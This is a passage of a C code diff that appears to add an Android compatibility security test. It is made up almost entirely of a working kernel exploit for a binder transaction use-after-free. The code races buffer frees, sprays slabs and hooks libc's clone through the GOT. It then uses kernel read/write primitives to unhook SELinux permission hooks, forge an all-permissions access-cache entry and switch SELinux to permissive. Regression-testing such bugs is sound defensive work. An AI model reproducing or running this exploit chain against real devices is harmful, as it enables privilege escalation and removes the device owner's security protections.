+ if (trdat)
+ free_buf(trdat);
+ if (troff)
+ free_buf(troff);
+}
+
+void send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff) {
+ do_send_txn(fd, to, code, trdat, troff, 0, 0, 0);
+}
+
+void send_reply(int fd) {
+ do_send_txn(fd, 0, 0, NULL, NULL, 0, 1, 0);
+}
+
+static inline void chg_ref(int fd, unsigned desc, u32 cmd) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, cmd);
+ buf_u32(buf, desc);
+ binder_write(fd, buf);
+}
+
+void inc_ref(int fd, unsigned desc) {
+ chg_ref(fd, desc, BC_ACQUIRE);
+}
+
+void dec_ref(int fd, unsigned desc) {
+ chg_ref(fd, desc, BC_RELEASE);
+}
+
+static inline void free_buffer(int fd, u64 ptr) {
+ buf_t *buf = new_buf();
+ buf_u32(buf, BC_FREE_BUFFER);
+ buf_uintptr(buf, ptr);
+ binder_write(fd, buf);
+}
+
+typedef struct {
+ int fd;
+ char *buf;
+ binder_size_t size;
+ binder_size_t parsed;
+ binder_size_t *offsets;
+ binder_size_t num_offsets;
+ u32 code;
+ u64 ptr;
+} txn_t;
+
+void *txn_get(txn_t *t, u32 sz) {
+ sz = (sz + 3) & ~3u;
+ if (sz > t->size - t->parsed)
+ fail("txn get not enough data");
+ char *ret = t->buf + t->parsed;
+ t->parsed += sz;
+ return ret;
+}
+
+binder_size_t txn_offset(txn_t *t) {
+ return t->parsed;
+}
+
+void txn_set_offset(txn_t *t, binder_size_t off) {
+ t->parsed = off;
+}
+
+u32 txn_u32(txn_t *t) {
+ return *(u32*)txn_get(t, sizeof(u32));
+}
+
+int txn_int(txn_t *t) {
+ return *(int*)txn_get(t, sizeof(int));
+}
+
+u32 txn_handle(txn_t *t) {
+ struct flat_binder_object *fp;
+ fp = txn_get(t, sizeof(*fp));
+ if (fp->hdr.type != BINDER_TYPE_HANDLE)
+ fail("expected binder");
+ return fp->handle;
+}
+
+u16 *txn_str(txn_t *t) {
+ int len = txn_int(t);
+ if (len == -1)
+ return NULL;
+ if (len > 0x7fffffff / 2 - 1)
+ fail("bad txn str len");
+ return txn_get(t, (len + 1) * 2);
+}
+
+static inline u64 txn_buf(txn_t *t) {
+ return (u64)t->buf;
+}
+
+void free_txn(txn_t *txn) {
+ free_buffer(txn->fd, txn_buf(txn));
+}
+
+
+void handle_cmd(int fd, u32 cmd, void *dat) {
+ if (cmd == BR_ACQUIRE || cmd == BR_INCREFS) {
+ struct binder_ptr_cookie *pc = dat;
+ buf_t *buf = new_buf();
+ u32 reply = cmd == BR_ACQUIRE ? BC_ACQUIRE_DONE : BC_INCREFS_DONE;
+ buf_u32(buf, reply);
+ buf_uintptr(buf, pc->ptr);
+ buf_uintptr(buf, pc->cookie);
+ binder_write(fd, buf);
+ }
+}
+
+void recv_txn(int fd, txn_t *t) {
+ u32 found = 0;
+ while (!found) {
+ parser_t *p = new_parser();
+ binder_read(fd, p->p, p->size, &p->size);
+ while (!parser_end(p)) {
+ u32 cmd = parse_u32(p);
+ void *dat = (void *)parser_get(p, _IOC_SIZE(cmd));
+ if (dat == NULL) {
+ return;
+ }
+ handle_cmd(fd, cmd, dat);
+ if (cmd == BR_TRANSACTION || cmd == BR_REPLY) {
+ struct binder_transaction_data *tr = dat;
+ if (!parser_end(p))
+ fail("expected parser end");
+ t->fd = fd;
+ t->buf = (char*)tr->data.ptr.buffer;
+ t->parsed = 0;
+ t->size = tr->data_size;
+ t->offsets = (binder_size_t*)tr->data.ptr.offsets;
+ t->num_offsets = tr->offsets_size / sizeof(binder_size_t);
+ t->code = tr->code;
+ t->ptr = tr->target.ptr;
+ found = 1;
+ }
+ }
+ free_parser(p);
+ }
+}
+
+u32 recv_handle(int fd) {
+ txn_t txn;
+ recv_txn(fd, &txn);
+ u32 hnd = txn_handle(&txn);
+ inc_ref(fd, hnd);
+ free_txn(&txn);
+ return hnd;
+}
+
+u32 get_activity_svc(int fd) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.os.IServiceManager");
+ buf_str16(trdat, "activity");
+ int SVC_MGR_GET_SERVICE = 1;
+ send_txn(fd, 0, SVC_MGR_GET_SERVICE, trdat, NULL);
+ return recv_handle(fd);
+}
+
+void txn_part(txn_t *t) {
+ int repr = txn_int(t);
+ if (repr == 0) {
+ txn_str(t);
+ txn_str(t);
+ } else if (repr == 1 || repr == 2) {
+ txn_str(t);
+ } else {
+ fail("txn part bad repr");
+ }
+}
+
+void txn_uri(txn_t *t) {
+ int type = txn_int(t);
+ if (type == 0) // NULL_TYPE_ID
+ return;
+ if (type == 1) { // StringUri.TYPE_ID
+ txn_str(t);
+ } else if (type == 2) {
+ txn_str(t);
+ txn_part(t);
+ txn_part(t);
+ } else if (type == 3) {
+ txn_str(t);
+ txn_part(t);
+ txn_part(t);
+ txn_part(t);
+ txn_part(t);
+ } else {
+ fail("txn uri bad type");
+ }
+}
+
+void txn_component(txn_t *t) {
+ u16 *pkg = txn_str(t);
+ if (pkg)
+ txn_str(t); // class
+}
+
+void txn_rect(txn_t *t) {
+ txn_int(t);
+ txn_int(t);
+ txn_int(t);
+ txn_int(t);
+}
+
+int str16_eq(u16 *s16, char *s) {
+ while (*s) {
+ if (*s16++ != *s++)
+ return 0;
+ }
+ return !*s16;
+}
+
+void txn_bundle(txn_t *t, u32 *hnd) {
+ int len = txn_int(t);
+ if (len < 0)
+ fail("bad bundle len");
+ if (len == 0)
+ return;
+ int magic = txn_int(t);
+ if (magic != 0x4c444e42 && magic != 0x4c444e44)
+ fail("bad bundle magic");
+ binder_size_t off = txn_offset(t);
+ int count = txn_int(t);
+ if (count == 1) {
+ u16 *key = txn_str(t);
+ int type = txn_int(t);
+ if (str16_eq(key, "bnd") && type == 15)
+ *hnd = txn_handle(t);
+ }
+ txn_set_offset(t, off);
+ txn_get(t, len);
+}
+
+void txn_intent(txn_t *t, u32 *hnd) {
+ txn_str(t); // action
+ txn_uri(t);
+ txn_str(t); // type
+ txn_int(t); // flags
+ txn_str(t); // package
+ txn_component(t);
+ if (txn_int(t)) // source bounds
+ txn_rect(t);
+ int n = txn_int(t);
+ if (n > 0) {
+ for (int i = 0; i < n; i++)
+ txn_str(t);
+ }
+ if (txn_int(t)) // selector
+ txn_intent(t, NULL);
+ if (txn_int(t))
+ fail("unexpected clip data");
+ txn_int(t); // content user hint
+ txn_bundle(t, hnd); // extras
+}
+
+void get_task_info(int fd, u32 app_task, u32 *hnd) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.app.IAppTask");
+ send_txn(fd, app_task, 1 + 1, trdat, NULL);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ if (txn_u32(&txn) != 0)
+ fail("getTaskInfo exception");
+ if (txn_int(&txn) == 0)
+ fail("getTaskInfo returned null");
+ txn_int(&txn); // id
+ txn_int(&txn); // persistent id
+ if (txn_int(&txn) > 0) // base intent
+ txn_intent(&txn, hnd);
+ if (*hnd != ~0u)
+ inc_ref(fd, *hnd);
+ free_txn(&txn);
+}
+
+u32 get_app_tasks(int fd, u32 actsvc) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.app.IActivityManager");
+ buf_str16(trdat, "android.security.cts");
+ send_txn(fd, actsvc, 1 + 199, trdat, NULL);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ if (txn_u32(&txn) != 0)
+ fail("getAppTasks exception");
+ int n = txn_int(&txn);
+ if (n < 0)
+ fail("getAppTasks n < 0");
+ u32 hnd = ~0u;
+ for (int i = 0; i < n; i++) {
+ u32 app_task = txn_handle(&txn);
+ get_task_info(fd, app_task, &hnd);
+ if (hnd != ~0u)
+ break;
+ }
+ if (hnd == ~0u)
+ fail("didn't find intent extras binder");
+ free_txn(&txn);
+ return hnd;
+}
+
+u32 get_exchg(int fd) {
+ u32 actsvc = get_activity_svc(fd);
+ u32 ret = get_app_tasks(fd, actsvc);
+ dec_ref(fd, actsvc);
+ return ret;
+}
+
+int get_binder(u32 *exchg) {
+ int fd = open_binder();
+ *exchg = get_exchg(fd);
+ return fd;
+}
+
+void exchg_put_binder(int fd, u32 exchg) {
+ buf_t *trdat = new_buf();
+ buf_t *troff = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.security.cts.IBinderExchange");
+ buf_binder(trdat, troff, (void*)1);
+ send_txn(fd, exchg, 1, trdat, troff);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ free_txn(&txn);
+}
+
+u32 exchg_get_binder(int fd, u32 exchg) {
+ buf_t *trdat = new_buf();
+ buf_u32(trdat, 0); // policy
+ buf_str16(trdat, "android.security.cts.IBinderExchange");
+ send_txn(fd, exchg, 2, trdat, NULL);
+ txn_t txn;
+ recv_txn(fd, &txn);
+ if (txn_u32(&txn) != 0)
+ fail("getBinder exception");
+ u32 hnd = txn_handle(&txn);
+ inc_ref(fd, hnd);
+ free_txn(&txn);
+ return hnd;
+}
+
+void set_idle() {
+ struct sched_param param = {
+ .sched_priority = 0
+ };
+ if (sched_setscheduler(0, SCHED_IDLE, ¶m) < 0)
+ fail("sched_setscheduler fail");
+}
+
+int do_set_cpu(int cpu) {
+ cpu_set_t set;
+ CPU_ZERO(&set);
+ CPU_SET(cpu, &set);
+ return sched_setaffinity(0, sizeof(set), &set);
+}
+
+void set_cpu(int cpu) {
+ if (do_set_cpu(cpu) < 0)
+ fail("sched_setaffinity fail");
+}
+
+struct sync {
+ pthread_cond_t cond;
+ pthread_mutex_t mutex;
+ volatile int triggered;
+ size_t num_waiters;
+ volatile size_t num_waited;
+ volatile size_t num_done;
+};
+
+typedef struct sync sync_t;
+
+sync_t *alloc_sync() {
+ sync_t *ret = malloc(sizeof(sync_t));
+ if (pthread_mutex_init(&ret->mutex, NULL) ||
+ pthread_cond_init(&ret->cond, NULL))
+ fail("pthread init failed");
+ ret->triggered = 0;
+ ret->num_waiters = 1;
+ ret->num_waited = 0;
+ ret->num_done = 0;
+ return ret;
+}
+
+void sync_set_num_waiters(sync_t *sync, size_t num_waiters) {
+ sync->num_waiters = num_waiters;
+}
+
+void sync_pth_bc(sync_t *sync) {
+ if (pthread_cond_broadcast(&sync->cond) != 0)
+ fail("pthread_cond_broadcast failed");
+}
+
+void sync_pth_wait(sync_t *sync) {
+ pthread_cond_wait(&sync->cond, &sync->mutex);
+}
+
+void sync_wait(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ sync->num_waited++;
+ sync_pth_bc(sync);
+ while (!sync->triggered)
+ sync_pth_wait(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_signal(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ while (sync->num_waited != sync->num_waiters)
+ sync_pth_wait(sync);
+ sync->triggered = 1;
+ sync_pth_bc(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_done(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ sync->num_done++;
+ sync_pth_bc(sync);
+ while (sync->triggered)
+ sync_pth_wait(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_wait_done(sync_t *sync) {
+ pthread_mutex_lock(&sync->mutex);
+ while (sync->num_done != sync->num_waiters)
+ sync_pth_wait(sync);
+ sync->triggered = 0;
+ sync->num_waited = 0;
+ sync->num_done = 0;
+ sync_pth_bc(sync);
+ pthread_mutex_unlock(&sync->mutex);
+}
+
+static inline void ns_to_timespec(u64 t, struct timespec *ts) {
+ const u64 k = 1000000000;
+ ts->tv_sec = t / k;
+ ts->tv_nsec = t % k;
+}
+
+static inline u64 timespec_to_ns(volatile struct timespec *t) {
+ return (u64)t->tv_sec * 1000000000 + t->tv_nsec;
+}
+
+static inline u64 time_now() {
+ struct timespec now;
+ if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
+ fail("clock_gettime failed");
+ return timespec_to_ns(&now);
+}
+
+static inline void sleep_until(u64 t) {
+ struct timespec wake;
+ ns_to_timespec(t, &wake);
+ int ret = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake, NULL);
+ if (ret && ret != EINTR)
+ fail("clock_nanosleep failed");
+}
+
+void set_thread_name(const char *name) {
+ if (prctl(PR_SET_NAME, name) < 0)
+ fail("pr_set_name fail");
+}
+
+void set_timerslack() {
+ char path[64];
+ sprintf(path, "/proc/%d/timerslack_ns", gettid());
+ int fd = open(path, O_WRONLY);
+ if (fd < 0)
+ fail("open timerslack fail");
+ if (write(fd, "1\n", 2) != 2)
+ fail("write timeslack fail");
+ close(fd);
+}
+
+struct launch_dat {
+ u64 arg;
+ void (*func)(u64);
+ int attach_jni;
+ const char *name;
+};
+
+void *thread_start(void *vdat) {
+ struct launch_dat *dat = vdat;
+ if (dat->attach_jni)
+ jni_attach_thread();
+ set_thread_name(dat->name);
+ void (*func)(u64) = dat->func;
+ u64 arg = dat->arg;
+ free(dat);
+ (*func)(arg);
+ return NULL;
+}
+
+int launch_thread(const char *name, void (*func)(u64), sync_t **sync, u64 arg,
+ int attach_jni) {
+ if (sync)
+ *sync = alloc_sync();
+ struct launch_dat *dat = malloc(sizeof(*dat));
+ dat->func = func;
+ dat->arg = arg;
+ dat->attach_jni = attach_jni;
+ dat->name = name;
+ pthread_t th;
+ if (pthread_create(&th, NULL, thread_start, dat) != 0)
+ fail("pthread_create failed");
+ return pthread_gettid_np(th);
+}
+
+void *map_path(const char *path, u64 *size) {
+ int fd = open(path, O_RDONLY);
+ if (fd < 0)
+ fail("open libc fail");
+ struct stat st;
+ if (fstat(fd, &st) < 0)
+ fail("fstat fail");
+ void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+ if (map == MAP_FAILED)
+ fail("mmap libc fail");
+ *size = st.st_size;
+ close(fd);
+ return map;
+}
+
+typedef Elf64_Ehdr ehdr_t;
+typedef Elf64_Shdr shdr_t;
+typedef Elf64_Rela rela_t;
+typedef Elf64_Sym sym_t;
+
+shdr_t *find_rela_plt(void *elf) {
+ ehdr_t *ehdr = (ehdr_t *)elf;
+ shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+ char *shstr = ((char *)elf) + shdr[ehdr->e_shstrndx].sh_offset;
+ for (u64 i = 0; i < ehdr->e_shnum; i++) {
+ char *name = shstr + shdr[i].sh_name;
+ if (strcmp(name, ".rela.plt") == 0)
+ return &shdr[i];
+ }
+ fail("didn't find .rela.plt");
+ return NULL;
+}
+
+u64 find_elf_clone_got(const char *path) {
+ u64 mapsz;
+ void *elf = map_path(path, &mapsz);
+ ehdr_t *ehdr = (ehdr_t *)elf;
+ shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+ shdr_t *rphdr = find_rela_plt(elf);
+ if (rphdr == NULL) {
+ return (u64)0;
+ }
+ shdr_t *symhdr = &shdr[rphdr->sh_link];
+ shdr_t *strhdr = &shdr[symhdr->sh_link];
+ sym_t *sym = ((sym_t *)elf) + symhdr->sh_offset;
+ char *str = ((char *)elf) + strhdr->sh_offset;
+ rela_t *r = ((rela_t *)elf) + rphdr->sh_offset;
+ rela_t *end = r + rphdr->sh_size / sizeof(rela_t);
+ u64 ret = 0;
+ for (; r < end; r++) {
+ sym_t *s = &sym[ELF64_R_SYM(r->r_info)];
+ if (strcmp(str + s->st_name, "clone") == 0) {
+ ret = r->r_offset;
+ break;
+ }
+ }
+ if (!ret) {
+ fail("clone rela not found");
+ return (u64)0;
+ }
+ if (munmap(elf, mapsz) < 0) {
+ fail("munmap fail");
+ return (u64)0;
+ }
+ return ret;
+}
+
+int hook_tid;
+int (*real_clone)(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f);
+
+int clone_unshare_files(u64 a, u64 b, int flags, u64 c, u64 d, u64 e, u64 f) {
+ if (gettid() == hook_tid)
+ flags &= ~CLONE_FILES;
+ return (*real_clone)(a, b, flags, c, d, e, f);
+}
+
+void unshare_following_clone_files() {
+ hook_tid = gettid();
+}
+
+void hook_clone() {
+ void *p = (void*)((uintptr_t)clone & ~0xffful);
+ while (*(u32*)p != 0x464c457f)
+ p = (void *)(((u32 *)p) - 0x1000);
+ u64 *got = ((u64 *)p) + find_elf_clone_got("/system/lib64/libc.so");
+ if (*got != (u64)clone)
+ fail("bad got");
+ real_clone = (void*)clone;
+ void *page = (void*)((u64)got & ~0xffful);
+ if (mprotect(page, 0x1000, PROT_READ | PROT_WRITE) < 0) {
+ fail("got mprotect fail");
+ return;
+ }
+ *got = (u64)clone_unshare_files;
+}
+
+u32 r32(u64 addr);
+u64 r64(u64 addr);
+void w64(u64 addr, u64 val);
+void w128(u64 addr, u64 v1, u64 v2);
+u64 scratch;
+u64 rw_task;
+u64 current;
+u64 fdarr;
+
+void hlist_del(u64 node) {
+ u64 next = r64(node);
+ u64 pprev = r64(node + 8);
+ if (r64(pprev) != node) {
+ fail("bad hlist");
+ return;
+ }
+ w64(pprev, next);
+ if (next)
+ w64(next + 8, pprev);
+}
+
+u64 get_file(int fd) {
+ return r64(fdarr + fd * 8);
+}
+
+u64 first_bl(u64 func) {
+ for (int i = 0; i < 30; i++) {
+ u32 inst = r32(func + i * 4);
+ if ((inst >> 26) == 0x25) { // bl
+ s64 off = inst & ((1u << 26) - 1);
+ off <<= 64 - 26;
+ off >>= 64 - 26;
+ return func + i * 4 + off * 4;
+ }
+ }
+ fail("bl not found");
+ return (u64)-1;
+}
+
+int is_adrp(u32 inst) {
+ return ((inst >> 24) & 0x9f) == 0x90;
+}
+
+u64 parse_adrp(u64 p, u32 inst) {
+ s64 off = ((inst >> 5) & ((1u << 19) - 1)) << 2;
+ off |= (inst >> 29) & 3;
+ off <<= (64 - 21);
+ off >>= (64 - 21 - 12);
+ return (p & ~0xffful) + off;
+}
+
+u64 find_adrp_add(u64 addr) {
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ u32 inst = r32(addr);
+ if (is_adrp(inst)) {
+ u64 ret = parse_adrp(addr, inst);
+ inst = r32(addr + 4);
+ if ((inst >> 22) != 0x244) {
+ fail("not add after adrp");
+ return (u64)-1;
+ }
+ ret += (inst >> 10) & ((1u << 12) - 1);
+ return ret;
+ }
+ addr += 4;
+ }
+ fail("adrp add not found");
+ return (u64)-1;
+}
+
+u64 locate_hooks() {
+ char path[256];
+ DIR *d = opendir("/proc/self/map_files");
+ char *p;
+ while (1) {
+ struct dirent *l = readdir(d);
+ if (!l)
+ fail("readdir fail");
+ p = l->d_name;
+ if (strcmp(p, ".") && strcmp(p, ".."))
+ break;
+ }
+ sprintf(path, "/proc/self/map_files/%s", p);
+ closedir(d);
+ int fd = open(path, O_PATH | O_NOFOLLOW | O_RDONLY);
+ if (fd < 0)
+ fail("link open fail");
+ struct stat st;
+ if (fstat(fd, &st) < 0)
+ fail("fstat fail");
+ if (!S_ISLNK(st.st_mode))
+ fail("link open fail");
+ u64 file = get_file(fd);
+ u64 inode = r64(file + 0x20);
+ u64 iop = r64(inode + 0x20);
+ u64 follow_link = r64(iop + 8);
+ u64 cap = first_bl(follow_link);
+ u64 scap = first_bl(cap);
+ if (cap == (u64)-1 || scap == (u64)-1) {
+ dbg("cap=%016zx", cap);
+ dbg("scap=%016zx", scap);
+ return (u64)-1;
+ }
+ u64 hooks = find_adrp_add(scap);
+ close(fd);
+ dbg("hooks=%016zx", hooks);
+ return hooks;
+}
+
+void unhook(u64 hooks, int idx) {
+ u64 hook = hooks + idx * 0x10;
+ w128(hook, hook, hook);
+}
+
+u64 locate_avc(u64 hooks) {
+ u64 se_file_open = r64(r64(hooks + 0x490) + 0x18);
+ u64 seqno = first_bl(se_file_open);
+ if (seqno == (u64)-1) {
+ dbg("seqno=%016zx", seqno);
+ return (u64)-1;
+ }
+ u64 avc = find_adrp_add(seqno);
+ dbg("avc=%016zx", avc);
+ return avc;
+}
+
+u32 get_sid() {
+ u64 real_cred = r64(current + 0x788);
+ u64 security = r64(real_cred + 0x78);
+ u32 sid = r32(security + 4);
+ dbg("sid=%u", sid);
+ return sid;
+}
+
+struct avc_node {
+ u32 ssid;
+ u32 tsid;
+ u16 tclass;
+ u16 pad;
+ u32 allowed;
+};
+
+u64 grant(u64 avc, u32 ssid, u32 tsid, u16 class) {
+ struct avc_node n;
+ n.ssid = ssid;
+ n.tsid = tsid;
+ n.tclass = class;
+ n.pad = 0;
+ n.allowed = ~0u;
+ u64 node = scratch;
+ for (int i = 0; i < 9; i++)
+ w64(node + i * 8, 0);
+ u64 *src = (u64*)&n;
+ w64(node, src[0]);
+ w64(node + 8, src[1]);
+ int hash = (ssid ^ (tsid<<2) ^ (class<<4)) & 0x1ff;
+ u64 head = avc + hash * 8;
+ u64 hl = node + 0x28;
+ u64 first = r64(head);
+ w128(hl, first, head);
+ if (first)
+ w64(first + 8, hl);
+ w64(head, hl);
+ dbg("granted security sid");
+ return hl;
+}
+
+int enforce() {
+ int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+ if (fd < 0)
+ return 1;
+ dbg("enforce=%d", fd);
+ char buf;
+ if (read(fd, &buf, 1) != 1)
+ return 1;
+ close(fd);
+ return buf == '1';
+}
+
+void disable_enforce() {
+ int fd = open("/sys/fs/selinux/enforce", O_WRONLY);
+ if (fd >= 0) {
+ write(fd, "0", 1);
+ close(fd);
+ }
+ if (enforce())
+ fail("failed to switch selinux to permissive");
+ dbg("selinux now permissive");
+}
+
+void disable_selinux() {
+ if (!enforce()) {
+ dbg("selinux already permissive");
+ return;
+ }
+ u64 hooks = locate_hooks();
+ if (hooks == (u64)-1) {
+ return;
+ }
+ u64 avc = locate_avc(hooks);
+ if (avc == (u64)-1) {
+ return;
+ }
+ unhook(hooks, 0x08); // capable
+ unhook(hooks, 0x2f); // inode_permission
+ unhook(hooks, 0x3d); // file_permission
+ unhook(hooks, 0x49); // file_open
+ u64 avcnode = grant(avc, get_sid(), 2, 1);
+ disable_enforce();
+ hlist_del(avcnode);
+}
+
+#define PIPES 8
+#define STAGE2_THREADS 64
+
+int cpumask;
+int cpu1;
+int cpu2;
+int tot_cpus;
+const char *pipedir;
+char *pipepath;
+char *pipeid;
+int pipefd[PIPES];
+sync_t *free_sync;
+sync_t *poll_sync;
+sync_t *stage2_sync1;
+sync_t *stage2_sync2;
+sync_t *rw_thread_sync;
+int bnd1, bnd2;
+u32 to1;
+u64 free_ptr;
+u64 trigger_time;
+int total_txns;
+int bad_pipe;
+int uaf_pipe;
+volatile int uaf_alloc_success;
+u64 pipe_inode_info;
+int rw_thread_tid;
+volatile int rw_cmd;
+volatile int rw_bit;
+volatile int rw_val;
+u64 free_data;
+u64 next_free_data;
+
+void select_cpus() {
+ cpu1 = cpu2 = -1;
+ for (int i = 7; i >= 0; i--) {
+ if (do_set_cpu(i) < 0)
+ continue;
+ cpumask |= (1 << i);
+ if (cpu1 < 0)
+ cpu1 = i;
+ else if (cpu2 < 0)
+ cpu2 = i;
+ tot_cpus++;
+ }
+ if (cpu1 < 0 || cpu2 < 0) {
+ fail("huh, couldn't find 2 cpus");
+ }
+ dbg("cpumask=%02x cpu1=%d cpu2=%d", cpumask, cpu1, cpu2);
+}
+
+void rw_thread(u64 idx);
+void free_thread(u64 arg);
+void poll_thread(u64 arg);
+
+int cpu_available(int cpu) {
+ return !!(cpumask & (1 << cpu));
+}
+
+void hog_cpu_thread(u64 arg) {
+ set_cpu(cpu2);
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ }
+}
+
+void launch_threads() {
+ launch_thread("txnuaf.log", log_thread, NULL, 0, 1);
+ launch_thread("txnuaf.hog", hog_cpu_thread, NULL, 0, 1);
+ launch_thread("txnuaf.free", free_thread, &free_sync, 0, 1);
+ launch_thread("txnuaf.poll", poll_thread, &poll_sync, 0, 1);
+ rw_thread_tid = launch_thread("txnuaf.rw", rw_thread, &rw_thread_sync, 0, 0);
+}
+
+void open_binders() {
+ u32 xchg;
+ bnd1 = get_binder(&xchg);
+ exchg_put_binder(bnd1, xchg);
+ dec_ref(bnd1, xchg);
+ bnd2 = get_binder(&xchg);
+ to1 = exchg_get_binder(bnd2, xchg);
+ dec_ref(bnd1, xchg);
+}
+
+void make_pipe_path() {
+ size_t l = strlen(pipedir);
+ pipepath = malloc(l + 4); // "/pd\0"
+ strcpy(pipepath, pipedir);
+ pipepath[l++] = '/';
+ pipeid = pipepath + l;
+}
+
+int open_pipe(int idx) {
+ if (!pipepath)
+ make_pipe_path();
+ sprintf(pipeid, "p%d", idx);
+ int fd = open(pipepath, O_RDWR);
+ if (fd < 0)
+ fail("pipe open fail");
+ return fd;
+}
+
+void open_pipes() {
+ for (int i = 0; i < PIPES; i++)
+ pipefd[i] = open_pipe(i);
+}
+
+int do_poll(int fd, int timeout) {
+ struct pollfd pfd;
+ pfd.fd = fd;
+ pfd.events = 0;
+ pfd.revents = 0;
+ if (poll(&pfd, 1, timeout) < 0)
+ fail("pipe poll fail");
+ return pfd.revents;
+}
+
+int find_bad_pipe() {
+ for (int i = 0; i < PIPES; i++) {
+ if (do_poll(pipefd[i], 0) & POLLHUP) {
+ dbg("corrupted pipe at %d", i);
+ bad_pipe = pipefd[i];
+ sprintf(pipeid, "p%d", i);
+ return 1;
+ }
+ }
+ return 0;
+}
+
+void close_pipes() {
+ for (int i = 0; i < PIPES; i++) {
+ if (close(pipefd[i]) < 0)
+ fail("close pipe fail, i=%d fd=%d", i, pipefd[i]);
+ }
+}
+
+void free_thread(u64 arg) {
+ set_timerslack();
+ set_cpu(cpu1);
+ set_idle();
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ sync_wait(free_sync);
+ buf_t *buf = new_buf();
+ buf_u32(buf, BC_FREE_BUFFER);
+ buf_uintptr(buf, free_ptr);
+ struct binder_write_read bwr;
+ memset(&bwr, 0x00, sizeof(bwr));
+ bwr.write_buffer = (u64)buf->p;
+ bwr.write_size = buf->off;
+ int off = cpu1 < 4 ? 1300 : 350;
+ u64 target_time = trigger_time - off;
+ while (time_now() < target_time)
+ ;
+ ioctl(bnd1, BINDER_WRITE_READ, &bwr);
+ free_buf(buf);
+ sync_done(free_sync);
+ }
+};
+
+void race_cycle() {
+ dbg("race cycle, this may take time...");
+ time_t test_started = start_timer();
+ while (timer_active(test_started)) {
+ send_txn(bnd2, to1, 0, NULL, NULL);
+ txn_t t1, t2;
+ recv_txn(bnd1, &t1);
+ free_ptr = txn_buf(&t1);
+ trigger_time = time_now() + 100000;
+ sync_signal(free_sync);
+ sleep_until(trigger_time);
+ send_reply(bnd1);
+ open_pipes();
+ recv_txn(bnd2, &t2);
+ free_txn(&t2);
+ sync_wait_done(free_sync);
+ if (find_bad_pipe())
+ break;
+ close_pipes();
+ }
+}
+
+void reopen_pipe() {
+ uaf_pipe = open(pipepath, O_WRONLY);
+ if (uaf_pipe < 0)
+ fail("reopen pipe fail");
+}
+
+void stage2_thread(u64 cpu);
+
+void stage2_launcher(u64 arg) {
+ dup2(uaf_pipe, 0);
+ dup2(bnd1, 1);
+ dup2(bnd2, 2);
+ for (int i = 3; i < 1024; i++)
+ close(i);
+ unshare_following_clone_files();
+ int cpu_count = android_getCpuCount();
+ for (int cpu = 0; cpu < cpu_count; cpu++) {
+ if (cpu_available(cpu)) {
+ for (int i = 0; i < STAGE2_THREADS; i++)
+ launch_thread("txnuaf.stage2", stage2_thread, NULL, cpu, 0);
+ }
+ }
+}
+
+void signal_xpl_threads() {
+ sync_signal(stage2_sync1);
+ sync_wait_done(stage2_sync1);
+ sync_signal(stage2_sync2);
+ sync_wait_done(stage2_sync2);
+}
+
+void launch_stage2_threads() {
+ stage2_sync1 = alloc_sync();
+ stage2_sync2 = alloc_sync();
+ sync_set_num_waiters(stage2_sync1, STAGE2_THREADS);
+ sync_set_num_waiters(stage2_sync2, (tot_cpus - 1) * STAGE2_THREADS);
+ hook_clone();
+ unshare_following_clone_files();
+ launch_thread("txnuaf.stage2_launcher", stage2_launcher, NULL, 0, 0);
+ // set cpu
+ signal_xpl_threads();
+}
+
+void alloc_txns(int n) {
+ total_txns += n;
+ size_t totsz = n * (4 + sizeof(struct binder_transaction_data));
+ buf_t *buf = new_buf_sz(totsz);
+ for (int i = 0; i < n; i++) {
+ buf_u32(buf, BC_TRANSACTION);
+ struct binder_transaction_data *tr;
+ tr = buf_alloc(buf, sizeof(*tr));
+ tr->target.handle = to1;
+ tr->code = 0;
+ tr->flags |= TF_ONE_WAY;
+ tr->data.ptr.buffer = 0;
+ tr->data.ptr.offsets = 0;
+ tr->data_size = 0;
+ tr->offsets_size = 0;
+ }
+ binder_write(bnd2, buf);
+}
+
+void recv_all_txns(int fd) {
+ for (int i = 0; i < total_txns; i++) {
+ txn_t t;
+ recv_txn(fd, &t);
+ free_txn(&t);
+ }
+}
+
+void clean_slab() {
+ // clean node
+ alloc_txns(4096);
+ // clean each cpu
+ int cpu_count = android_getCpuCount();
+ for (int i = 0; i < cpu_count; i++) {
+ if (cpu_available(i)) {
+ set_cpu(i);
+ alloc_txns(512);
+ }
+ }
+ set_cpu(cpu1);
+ // for good measure
+ alloc_txns(128);
+}
+
+void poll_thread(u64 arg) {
+ set_timerslack();
+ sync_wait(poll_sync);
+ do_poll(uaf_pipe, 200);
+ dbg("poll timeout");
+ sync_done(poll_sync);
+}
+
+void free_pipe_alloc_fdmem() {
+ clean_slab();
+ sync_signal(poll_sync);
+ usleep(50000);
+ if (close(bad_pipe) < 0) {
+ fail("free close fail");
+ return;
+ }
+ // alloc fdmem
+ signal_xpl_threads();
+ // set all bits
+ signal_xpl_threads();
+ dbg("fdmem spray done");
+ sync_wait_done(poll_sync);
+ recv_all_txns(bnd1);
+}
+
+void find_pipe_slot_thread() {
